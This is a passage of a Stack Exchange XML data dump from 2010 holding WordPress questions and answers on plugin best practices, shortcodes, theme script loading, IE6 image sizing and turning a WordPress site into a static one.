RTLAdminPlugin());&#xA; }&#xA; public function __construct() {&#xA;  $r = add_filter('admin_init', array($this, 'admin_init'));&#xA; }&#xA; public function admin_init() {&#xA;  $GLOBALS['wp_locale']-&amp;gt;text_direction = rtl;&#xA; }&#xA;} // class&#xA;&#xA;RTLAdminPlugin::bootstrap();&#xA;&#xA;return;&#xA;#EOF;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-23T19:39:19.353" CommentCount="3" />
  <row Id="770" PostTypeId="2" ParentId="738" CreationDate="2010-08-23T19:48:29.523" Score="3" ViewCount="" Body="&lt;p&gt;To map your domains, you can consider to use the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping plugin&lt;/a&gt; which works with wordpress 3.0 as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otto has a tutorial online: &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0: Multisite Domain Mapping Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that Import/Export should mainly do the job to transfer the sites.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-23T19:48:29.523" />
  <row Id="771" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T20:23:13.477" Score="10" ViewCount="" Body="&lt;h2&gt;Minimize Names Added to the Global Namespace&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A plugin &lt;em&gt;should&lt;/em&gt; &lt;strong&gt;reduce it's impact&lt;/strong&gt; as much as possible by &lt;strong&gt;minimizing the number of names it adds to the global namespace&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done by encapsulating the plugin's functions into a class or by using the &lt;a href=&quot;http://php.net/manual/en/language.namespaces.dynamic.php&quot; rel=&quot;nofollow&quot;&gt;PHP namespaces feature&lt;/a&gt;. Prefixing everything can help as well but is not that flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to functions and classes, a plugin &lt;em&gt;should not&lt;/em&gt; introduce global variables. Using classes normally obsoletes them and it simplifies plugin maintenance.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/755#755&quot;&gt;Prefix Properly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T19:55:35.140" LastActivityDate="2010-08-25T19:55:35.140" CommunityOwnedDate="2010-08-23T20:23:13.477" CommentCount="1" />
  <row Id="772" PostTypeId="2" ParentId="733" CreationDate="2010-08-23T20:26:04.003" Score="7" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@dotty&lt;/strong&gt; As you can see by this trac ticket: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13818&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;There should be index pages for custom post types&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; so obviously the need has not yet been addressed in WordPress core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both @John P Bloch and @Chris_O give you good alternatives; I'm going to give you a 3rd. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;A &lt;em&gt;&quot;Products&quot;&lt;/em&gt; Page&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First Create a &lt;strong&gt;&lt;em&gt;Page&lt;/em&gt;&lt;/strong&gt; for your Custom Post Type and call it &lt;em&gt;&quot;Products&quot;&lt;/em&gt;. That will give it the following URL:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.php/products/&quot; rel=&quot;nofollow&quot;&gt;http://example.php/products/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;A &lt;em&gt;&quot;Products List&quot;&lt;/em&gt; Shortcode&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Next create a &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Shortcode&lt;/strong&gt;&lt;/a&gt; that you can embedded into your &lt;em&gt;&quot;Products&quot;&lt;/em&gt; page. In my example I called it &lt;code&gt;[product-list]&lt;/code&gt;. Here's a screenshot of what using it would look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100823-160832.png&quot; alt=&quot;A Product's Page that uses a Shortcode to display a list of Products in WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that such a shortcode would be a great candidate for adding lots of optional functionality and enabling it to work for many different post types but in the interest of clarity I pretty much hardcoded everything. You can of course use it as a starting point for your own shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_shortcode('product-list', 'my_product_list');&#xA;function my_product_list($args) {&#xA;  $save_post = $GLOBALS['post'];  // Save state so you can restore later&#xA;  $post_type = 'product';&#xA;  $template_file = get_stylesheet_directory() . &quot;/post-{$post_type}.php&quot;;&#xA;  if (!file_exists($template_file)) {&#xA;    return &quot;&amp;lt;p&amp;gt;Missing template [$template_file].&amp;lt;/p&amp;gt;&quot;;&#xA;  } else {&#xA;    global $post;&#xA;    $q = new WP_Query(&quot;showposts=10&amp;amp;post_type={$post_type}&amp;amp;orderby=title&amp;amp;order=ASC&quot;);&#xA;    $rows = array();&#xA;    $rows[] = '&amp;lt;div class=&quot;post-list ' . $post_type . '-post-list&quot;&amp;gt;';&#xA;    global $post_list_data;&#xA;    $post_list_data = array();&#xA;    $post_list_data['post_count'] = $post_count = count($q-&amp;gt;posts);&#xA;    foreach ($q-&amp;gt;posts as $post) {&#xA;      $q-&amp;gt;the_post();&#xA;      ob_start();&#xA;      include($template_file);&#xA;      $rows[] = ob_get_clean();&#xA;    }&#xA;    $rows[] = '&amp;lt;/div&amp;gt;';&#xA;    $GLOBALS['post'] = $save_post;&#xA;    return implode(&quot;\n&quot;,$rows);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;A &lt;code&gt;post-product.php&lt;/code&gt; Theme Template File&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Next you'll need to create a theme template file that only displays one product. The function that implements the shortcode names the template file &lt;code&gt;post-product.php&lt;/code&gt; and here's a good starting point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * post-product.php - File to display only one product within a list of products.&#xA; */&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;  &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Add the Menu Option&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Last you'll want to add the menu option. This is very straightforward as you can see from this screenshot (the following assumes you've done nothing with WordPress 3.0 menus before and that you are using a theme that supports WordPress 3.0 menus such as Twenty Ten):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the menu option in the admin menu.&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;strong&gt;&quot;&lt;em&gt;+&lt;/em&gt;&quot;&lt;/strong&gt; to add a new menu.&lt;/li&gt;&#xA;&lt;li&gt;Type in your menu name, whatever you like.&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;em&gt;&quot;Create Menu&quot;&lt;/em&gt; button (the screen shot shows &lt;em&gt;&quot;Save Menu&quot;&lt;/em&gt; but it will be &lt;em&gt;&quot;Create Menu&quot;&lt;/em&gt; when adding.)&lt;/li&gt;&#xA;&lt;li&gt;Select your new Menu as your &lt;em&gt;&quot;Primary Navigation&quot;&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select your &lt;em&gt;&quot;Products&lt;/em&gt;&quot; page.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;em&gt;&quot;Add to Menu&quot;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;em&gt;&quot;Save Menu&quot;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100823-224351.png&quot; alt=&quot;Adding a Products Page Menu Option to a WordPress Site&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Finally, the Output&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;And here's what a basic product listing might look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100823-225429.png&quot; alt=&quot;A List of Products using a Custom Post Type in WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-24T02:55:20.257" LastActivityDate="2010-08-24T02:55:20.257" CommentCount="5" />
  <row Id="773" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T20:30:13.807" Score="6" ViewCount="" Body="&lt;h2&gt;Minimize Side-effects of Remote Datasources and Webservices&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A Plugin &lt;em&gt;should&lt;/em&gt; &lt;strong&gt;Cache/Shield Webservice&lt;/strong&gt; and/or &lt;strong&gt;XMLRPC/SOAP requests through a caching/data-provider layer&lt;/strong&gt; if you use them so to not making front-requests waiting for (slow) webservice response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That includes the download of RSS feed and other pages. Design your plugins that they request data in background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible STEP is (Take posting to ping.fm as an example):&#xA;Create a buffer table, let's say: &#xA;ping_fm_buffer_post(&#xA;date, time, message, submitted_time, status&#xA;)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For every time you want to submit update to ping.fm, add it to this table.&lt;/li&gt;&#xA;&lt;li&gt;Now, we need to create a plugin to handle this data. This plugin will run via crontab to check for every update that's not submitted yet&lt;/li&gt;&#xA;&lt;li&gt;Because we have this table, we can also list every message submitted to ping.fm and check each post's status. Just in case there's problem on ping.fm's side, we can re-submit it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="178" LastEditorUserId="127" LastEditorDisplayName="" LastEditDate="2010-08-30T02:53:52.180" LastActivityDate="2010-08-30T02:53:52.180" CommunityOwnedDate="2010-08-23T20:30:13.807" CommentCount="3" />
  <row Id="774" PostTypeId="1" AcceptedAnswerId="775" CreationDate="2010-08-23T20:30:39.580" Score="3" ViewCount="192" Body="&lt;p&gt;I would like to create a dmoz like website, using WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on plugins or site's architecture would be welcomed.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T23:05:47.183" LastActivityDate="2010-09-04T05:57:41.077" Title="Creating a Link Directory using WordPress?" Tags="&lt;links&gt;&lt;directory&gt;" AnswerCount="2" />
  <row Id="775" PostTypeId="2" ParentId="774" CreationDate="2010-08-23T20:45:37.037" Score="4" ViewCount="" Body="&lt;p&gt;A great starting point would be &lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/can-a-crunchbase-com-clone-be-implemented-using-wordpress/386#386&quot;&gt;Mike's answer&lt;/a&gt; to the question about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/can-a-crunchbase-com-clone-be-implemented-using-wordpress&quot;&gt;cloning CrunchBase&lt;/a&gt;.  You'll want to do something similar with &lt;strong&gt;custom post types&lt;/strong&gt; for entries in your directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to allow visitors to submit sites, you could perhaps use the &lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;TDO Mini Forms&lt;/a&gt; plugin to allow visitors to create a new listing, and adjust the settings so that any new listings created through that form get held for administrator approval before being published.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-08-24T03:27:02.060" LastActivityDate="2010-08-24T03:27:02.060" CommentCount="1" />
  <row Id="776" PostTypeId="1" AcceptedAnswerId="777" CreationDate="2010-08-23T20:52:12.250" Score="0" ViewCount="121" Body="&lt;p&gt;I'm making a framework parent theme and in the parent functions.php, I want to register all the possible js I use frequently and if I want it to load it, in the child functions.php I just have to use &lt;code&gt;wp_enqueue_script()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue why?&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T23:14:34.360" LastActivityDate="2010-08-23T23:14:34.360" Title="JavaScript Files Registered in Parent Theme Won't Load When Calling wp_enqueue_script() in Child Theme?" Tags="&lt;themes&gt;&lt;theme-development&gt;&lt;javascript&gt;" AnswerCount="2" />
  <row Id="777" PostTypeId="2" ParentId="776" CreationDate="2010-08-23T20:57:28.463" Score="1" ViewCount="" Body="&lt;p&gt;The child functions.php file loads before the parent functions.php, so you're registering them after enqueueing them. Try enqueueing the scripts on a hook, like &lt;code&gt;'after_setup_theme'&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-23T20:57:28.463" CommentCount="3" />
  <row Id="778" PostTypeId="2" ParentId="776" CreationDate="2010-08-23T20:59:24.763" Score="0" ViewCount="" Body="&lt;p&gt;It's bad form to split your code like that.  You should &lt;em&gt;always&lt;/em&gt; have your functions and the hooks that call them located in the same location to make it easier to debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you place your &lt;code&gt;wp_enqueue_script()&lt;/code&gt; calls in the parent theme's &lt;code&gt;functions.php&lt;/code&gt;  file, do things work like they're supposed to?  If not, there might be something else going on ... and we'd need to see your code to diagnose and fix it.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-23T20:59:24.763" CommentCount="3" />
  <row Id="779" PostTypeId="1" AcceptedAnswerId="781" CreationDate="2010-08-23T22:03:56.890" Score="1" ViewCount="355" Body="&lt;p&gt;In this post: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://humus101.com/?p=1734&quot; rel=&quot;nofollow&quot;&gt;http://humus101.com/?p=1734&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've got 4 images set (in the img property) to a width of 246 pixel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In chrome it looks fine.  In IE6 it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-25T21:05:53.440" LastActivityDate="2011-03-25T21:05:53.440" Title="How to resolve - IE 6 ignores img &quot;width&quot; properties" Tags="&lt;css&gt;&lt;html&gt;&lt;theme-twenty-ten&gt;&lt;img&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="780" PostTypeId="1" AcceptedAnswerId="790" CreationDate="2010-08-23T22:25:22.650" Score="3" ViewCount="183" Body="&lt;p&gt;I am taking on a project where I need to build a static website (due to hosting restrictions). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of trying to do this by building a WP site on my computer, then creating a sitemap, and then ripping that site, and finally uploading the files to the host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any better suggestions on how to do this?  (or any good reason why I shouldn't even try)&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T23:02:30.400" LastActivityDate="2010-08-24T00:40:13.340" Title="Creating a Static Website based on a WordPress Website?" Tags="&lt;static-website&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" />
  <row Id="781" PostTypeId="2" ParentId="779" CreationDate="2010-08-23T22:35:08.927" Score="2" ViewCount="" Body="&lt;p&gt;I solved the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the style.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed to make the following change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#content img {&#xA;    margin: 0;&#xA;    height: auto;&#xA;    max-width: 640px;&#xA;    /*width: auto;*/&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I now wonder how to make that stay for all the following theme updates...&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-08-23T22:35:08.927" CommentCount="2" />
  <row Id="782" PostTypeId="2" ParentId="779" CreationDate="2010-08-23T22:35:54.057" Score="2" ViewCount="" Body="&lt;p&gt;The height attribute of the image is missing. So I would not wonder about differences in display between browsers, because &lt;a href=&quot;http://www.w3.org/TR/html401/struct/objects.html#adef-width-IMG&quot; rel=&quot;nofollow&quot;&gt;HTML 4&lt;/a&gt; specs do not clearly define how to deal with such a situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to deal with that? Hook into the theme / wp core and patch the code that next to the width attribute, the height attribute is calculated and used as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-23T22:35:54.057" CommentCount="10" />
  <row Id="783" PostTypeId="2" ParentId="779" CreationDate="2010-08-23T22:41:14.970" Score="0" ViewCount="" Body="&lt;p&gt;If 640 px is the width you want. I would go into wordpress and set that up as one of the sizes for the images; and then when you want to insert one into a post, select the that size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Settings-&gt;Media you can set the Medium and Large sizes. I would change these to what you want; then use this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/bulk-image-resize-utility/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/bulk-image-resize-utility/&lt;/a&gt; which will resize the images you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What wordpress will do is create new images with these dimensions. What this does for the user, is they are only downloading the size of the image that the are seeing, which helps page load time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have to go back into your post and edit the images to use the medium or large size.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-23T22:41:14.970" />
  <row Id="784" PostTypeId="1" AcceptedAnswerId="787" CreationDate="2010-08-23T22:45:04.857" Score="1" ViewCount="267" Body="&lt;p&gt;Is there a way for me to add an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag in a Post, but then have a plugin download that image, and put it on the server for me instead of me needing to manually download the file from online to my computer and then upload it to the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T23:04:24.313" LastActivityDate="2010-08-23T23:04:24.313" Title="Automatically Import Image into Posts from URLs on the Web?" Tags="&lt;plugins&gt;&lt;img&gt;&lt;idea&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" />
  <row Id="785" PostTypeId="2" ParentId="780" CreationDate="2010-08-23T22:48:54.057" Score="2" ViewCount="" Body="&lt;p&gt;From your comment I believe there are two better options, that will keep development time down and your sanity in check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If you have PHP w/ PDO, then you could look at using this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/pdo-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/pdo-for-wordpress/&lt;/a&gt;, which will let you use sqlite as a database. Note: Wordpress was designed around and for mysql, your results may vary using a different sql backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If all you have is some basic php modules. I would just create the site with a group of includes. To where you are creating a series of &quot;templates&quot; using php includes. I would have a php file for the header, footer, home page and inner page. If you have multiple inner pages. I would pull any similiar layouts out into a separate page and include those for each type of inner page. Then put all your content in the inner pages. Then with your index.php create some basic code that loads up the pages you want based on the URL coming in. You can use .htaccess with mod_rewrite (assuming apache) To convert nice urls to something like /about-us into /index.php?template=inner&amp;amp;page=about&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-23T22:48:54.057" />
  <row Id="786" PostTypeId="2" ParentId="724" CreationDate="2010-08-23T22:54:43.393" Score="2" ViewCount="" Body="&lt;p&gt;IT turns out the Role Scoper plugin needed an update. That, and the server admin bumped a new PHP 5.3.3 update. I'm not sure which caused which exactly, but at least you know more now where to look at if the issue arises.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2010-08-23T22:54:43.393" CommentCount="1" />
  <row Id="787" PostTypeId="2" ParentId="784" CreationDate="2010-08-23T22:59:21.157" Score="3" ViewCount="" Body="&lt;p&gt;Sure. You could hook the &lt;code&gt;save_post&lt;/code&gt; action, use &lt;code&gt;WP_Http&lt;/code&gt; class to download it and then insert it as an attachment using &lt;code&gt;wp_insert_attachment&lt;/code&gt; and &lt;code&gt;wp_update_attachment_metadata()&lt;/code&gt;. It's not trivial but shouldn't be that hard.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-23T22:59:21.157" CommentCount="2" />
  <row Id="788" PostTypeId="2" ParentId="780" CreationDate="2010-08-23T23:01:46.207" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Tal Galili&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If @Insanity5902's suggestions are not applicable then you could use &lt;a href=&quot;http://www.httrack.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;HTTrack Website Copier&lt;/strong&gt;&lt;/a&gt; to download a copy of the site and then upload the downloaded copy of the site to your server.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-23T23:01:46.207" CommentCount="3" />
  <row Id="789" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T23:10:57.237" Score="6" ViewCount="" Body="&lt;h1&gt;Offer Extensible Forms&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When a plugin offers the possiblity to input data, it should always have a hook at the end, right before the &quot;submit&quot; and/or &quot;reset&quot; button, so developers can easily extend the form with not only fields, but buttons too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Related&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/730#730&quot;&gt;Use Actions and Filters&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/795#795&quot;&gt;Re-Use existing functions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/752#752&quot;&gt;I18n support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2010-08-26T22:25:00.253" LastActivityDate="2010-08-26T22:25:00.253" CommunityOwnedDate="2010-08-23T23:10:57.237" />
  <row Id="790" PostTypeId="2" ParentId="780" CreationDate="2010-08-24T00:40:13.340" Score="4" ViewCount="" Body="&lt;p&gt;I am doing this right now (still in process). The best setup seems to be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) HTML extension on posts - easy, just use custom post pattern&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) HTML extension on pages - need a plugin for that, if you use pages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Disable feeds (in function.php by removing headers for it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) wget -x -nH -P scraped -np -k -R php -E -X wp-content,wp-includes -m &lt;a href=&quot;http://address/siteroot/&quot; rel=&quot;nofollow&quot;&gt;http://address/siteroot/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That last one sucks down your site, changes WordPress-style directory URLs to .html URLs, changes internal links to relative, etc. Feed URLs on all levels (root, category, article, etc) mess this up, which is why they have to be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, the assumption is that the site is fully reachable from the root. If that's not the case, use a sitemap plugin (as you yourself mentioned) and scrape from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Run some sort of processor to remove &lt;a href=&quot;http://address/&quot; rel=&quot;nofollow&quot;&gt;http://address/&lt;/a&gt; or change it to absolute root of your static site. If you need to move directories about (e.g. media/uploads), that's a little more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should get you about 80% of the way. If you do end up going this way, track me down when you know more and I will share the rest of the setup from my work computer. (If more than one person needs this, rank this up and I will put it somewhere public in a month or so, once fully done).&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2010-08-24T00:40:13.340" CommentCount="3" />
  <row Id="791" PostTypeId="1" AcceptedAnswerId="812" CreationDate="2010-08-24T01:37:28.090" Score="2" ViewCount="70" Body="&lt;p&gt;Sometimes it might be necessary to include frequently-changing content in a theme, but themes take some time to modify, it may also be necessary to let a non-technical user maintain some content that appears on more than one page. Is it possible (without heavily impacting performance) to include a post in a theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/hLWPU.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="360" LastEditorDisplayName="" LastEditDate="2010-08-24T10:55:17.737" LastActivityDate="2010-08-24T16:18:43.730" Title="How can I include a post in a theme?" Tags="&lt;theme-development&gt;&lt;posts&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" />
  <row Id="793" PostTypeId="2" ParentId="506" CreationDate="2010-08-24T04:57:08.427" Score="5" ViewCount="" Body="&lt;p&gt;I agree with some of the above posts, as direct answers to the question (which assumes continued use of the WYSIWYG editor). But after trial, I have to recommend at least reconsidering, and switching to the HTML editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you're still with me (you're considering it as an option), there's more. &quot;Ah,&quot; you say, &quot;HTML editor still adds line breaks and generally messes with me!&quot; True, which is why you need to remove the auto-p filter. For good measure, since I switch to as pure HTML as possible, I take out the texturizer, which handles things like curly quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your theme editor. Go to the &quot;Theme Functions&quot; (functions.php) file. Add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter ('the_content', 'wpautop');&#xA;remove_filter('the_content', 'wptexturize');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I also add this if I'm planning to use post/page excerpts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter ('the_excerpt', 'wpautop');&#xA;remove_filter('the_excerpt', 'wptexturize');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps! And frankly... I've never tried the disabling of filters alongside the visual editor! Maybe it actually DOES help in that regard as well!&lt;/p&gt;&#xA;" LastActivityDate="2010-08-24T04:57:08.427" />
  <row Id="794" PostTypeId="2" ParentId="715" CreationDate="2010-08-24T06:40:19.960" Score="6" ViewCount="" Body="&lt;h1&gt;Die with style&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;die in a decent manner&lt;/strong&gt;&#xA;All of a plugins (and even themes) functions should use &lt;code&gt;wp_die()&lt;/code&gt; in critical places to offer the user a little information on what had happened. Php errors are annoying and &lt;code&gt;wp_die&lt;/code&gt; can give the user a nice styled message on what the plugin (or they) did wrong. Plus, if the user has debugging deactivated the plugin will just break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;wp_die()&lt;/code&gt; also helps that your plugins / themes are compatible with the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/703/tutorials-for-unit-testing-in-wordpress-and-for-unit-test-svn-wordpress-org&quot;&gt;wordpress testsuite&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;Related:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/16246#16246&quot;&gt;Use WP Error handling&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-03T15:16:41.357" LastActivityDate="2011-05-03T15:16:41.357" CommunityOwnedDate="2010-08-24T06:40:19.960" />
